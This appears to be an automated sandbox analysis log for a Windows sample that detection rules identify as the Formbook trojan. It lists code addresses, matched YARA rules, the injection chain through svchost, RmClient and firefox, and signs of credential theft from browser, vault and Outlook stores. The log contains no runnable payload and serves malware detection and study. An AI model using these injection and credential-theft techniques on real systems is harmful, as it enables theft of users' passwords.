            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CC0CF26_2_02CC0CF2
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D70CB56_2_02D70CB5
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD0C006_2_02CD0C00
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CCADE06_2_02CCADE0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CE8DBF6_2_02CE8DBF
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D6CD1F6_2_02D6CD1F
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CDAD006_2_02CDAD00
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CEB2C06_2_02CEB2C0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D712ED6_2_02D712ED
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CED2F06_2_02CED2F0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD52A06_2_02CD52A0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D1739A6_2_02D1739A
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CBD34C6_2_02CBD34C
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8132D6_2_02D8132D
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD70C06_2_02CD70C0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D7F0CC6_2_02D7F0CC
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D870E96_2_02D870E9
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8F0E06_2_02D8F0E0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CDB1B06_2_02CDB1B0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D9B16B6_2_02D9B16B
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CBF1726_2_02CBF172
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D0516C6_2_02D0516C
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D816CC6_2_02D816CC
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D156306_2_02D15630
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8F7B06_2_02D8F7B0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CC14606_2_02CC1460
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8F43F6_2_02D8F43F
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D995C36_2_02D995C3
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D6D5B06_2_02D6D5B0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D875716_2_02D87571
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D7DAC66_2_02D7DAC6
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D15AA06_2_02D15AA0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D71AA36_2_02D71AA3
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D6DAAC6_2_02D6DAAC
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8FA496_2_02D8FA49
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D87A466_2_02D87A46
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D43A6C6_2_02D43A6C
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D45BF06_2_02D45BF0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D0DBF96_2_02D0DBF9
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CEFB806_2_02CEFB80
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8FB766_2_02D8FB76
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD38E06_2_02CD38E0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D3D8006_2_02D3D800
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD99506_2_02CD9950
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CEB9506_2_02CEB950
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D659106_2_02D65910
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD9EB06_2_02CD9EB0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02C93FD26_2_02C93FD2
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02C93FD56_2_02C93FD5
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD1F926_2_02CD1F92
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8FFB16_2_02D8FFB1
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8FF096_2_02D8FF09
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8FCF26_2_02D8FCF2
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D49C326_2_02D49C32
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CEFDC06_2_02CEFDC0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D81D5A6_2_02D81D5A
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD3D406_2_02CD3D40
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D87D736_2_02D87D73
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_00151B106_2_00151B10
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0014CA406_2_0014CA40
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0014CC606_2_0014CC60
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0014ACE06_2_0014ACE0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_001551A06_2_001551A0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_001533596_2_00153359
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0015339B6_2_0015339B
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_001533A06_2_001533A0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0016B6A06_2_0016B6A0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_029DE3286_2_029DE328
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_029DE7476_2_029DE747
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_029DE4436_2_029DE443
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_029DCAF36_2_029DCAF3
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_029DD8486_2_029DD848
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03887E54 appears 107 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0382B970 appears 262 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 038AEA12 appears 86 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 038BF290 appears 103 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03875130 appears 58 times
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: String function: 008B3536 appears 31 times
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: String function: 008D09B0 appears 46 times
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: String function: 008D48F3 appears 49 times
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: String function: 008BB606 appears 31 times
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: String function: 02D3EA12 appears 86 times
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: String function: 02D05130 appears 58 times
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: String function: 02D17E54 appears 107 times
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: String function: 02D4F290 appears 103 times
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: String function: 02CBB970 appears 262 times
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000003.1739203419.000000000388D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000003.1738562807.00000000036E3000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000006.00000002.3582283937.0000000000140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000001.00000002.2230993279.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000006.00000002.3583910369.0000000002770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000001.00000002.2230760377.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000006.00000002.3582610817.0000000002600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000001.00000002.2231650264.0000000004550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000005.00000002.3583965590.0000000003120000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@9/6
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009236D3 GetLastError,FormatMessageW,0_2_009236D3
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00911003 AdjustTokenPrivileges,CloseHandle,0_2_00911003
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00911607 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_00911607
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009250EB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_009250EB
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0093A5A3 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,0_2_0093A5A3
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009263AC _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,0_2_009263AC
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008B6122 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_008B6122
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeFile created: C:\Users\user\AppData\Local\Temp\autC2DD.tmpJump to behavior
            Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: RmClient.exe, 00000006.00000002.3582680606.0000000002706000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeReversingLabs: Detection: 42%
            Source: unknownProcess created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe"
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe"
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeProcess created: C:\Windows\SysWOW64\RmClient.exe "C:\Windows\SysWOW64\RmClient.exe"
            Source: C:\Windows\SysWOW64\RmClient.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe"Jump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeProcess created: C:\Windows\SysWOW64\RmClient.exe "C:\Windows\SysWOW64\RmClient.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: Binary string: RmClient.pdbGCTL source: svchost.exe, 00000001.00000002.2231083991.0000000003219000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231062737.0000000003200000.00000004.00000020.00020000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000005.00000002.3583323304.0000000000D97000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ORAQROHXYZcgef.exe, 00000005.00000000.2149424077.00000000009CE000.00000002.00000001.01000000.00000005.sdmp, ORAQROHXYZcgef.exe, 00000007.00000002.3582301918.00000000009CE000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000003.1739203419.0000000003760000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000003.1737222200.00000000035C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2130663593.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2132608555.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231220463.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231220463.000000000399E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.3584409157.0000000002C90000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.3584409157.0000000002E2E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.2233106596.000000000292D000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.2240922539.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000003.1739203419.0000000003760000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000003.1737222200.00000000035C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.2130663593.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2132608555.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231220463.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231220463.000000000399E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, RmClient.exe, 00000006.00000002.3584409157.0000000002C90000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.3584409157.0000000002E2E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.2233106596.000000000292D000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.2240922539.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: RmClient.exe, 00000006.00000002.3585223608.00000000032BC000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000006.00000002.3582680606.000000000267D000.00000004.00000020.00020000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000000.2310724148.00000000030DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2544137596.000000001652C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: RmClient.exe, 00000006.00000002.3585223608.00000000032BC000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000006.00000002.3582680606.000000000267D000.00000004.00000020.00020000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000000.2310724148.00000000030DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2544137596.000000001652C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: RmClient.pdb source: svchost.exe, 00000001.00000002.2231083991.0000000003219000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231062737.0000000003200000.00000004.00000020.00020000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000005.00000002.3583323304.0000000000D97000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008B615E GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_008B615E
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D09F6 push ecx; ret 0_2_008D0A09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041E8D7 push cs; iretd 1_2_0041E8D8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041F0A3 push ss; retf 1_2_0041F0BC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004030B0 push eax; ret 1_2_004030B2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00423243 push edi; iretd 1_2_0042324E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040D22E push ebx; iretd 1_2_0040D22F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00417BF3 push cs; ret 1_2_00417BFD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00415B93 push ds; retn AABCh1_2_00415C2C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040CC49 push ebp; retf 1_2_0040CCDD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040CCCD push ebp; retf 1_2_0040CCDD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004134D3 push cs; iretd 1_2_00413550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00413D73 pushfd ; retf 1_2_00413D8B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00413D99 pushfd ; retf 1_2_00413D8B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00411715 push eax; iretd 1_2_00411716
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0380225F pushad ; ret 1_2_038027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038027FA pushad ; ret 1_2_038027F9
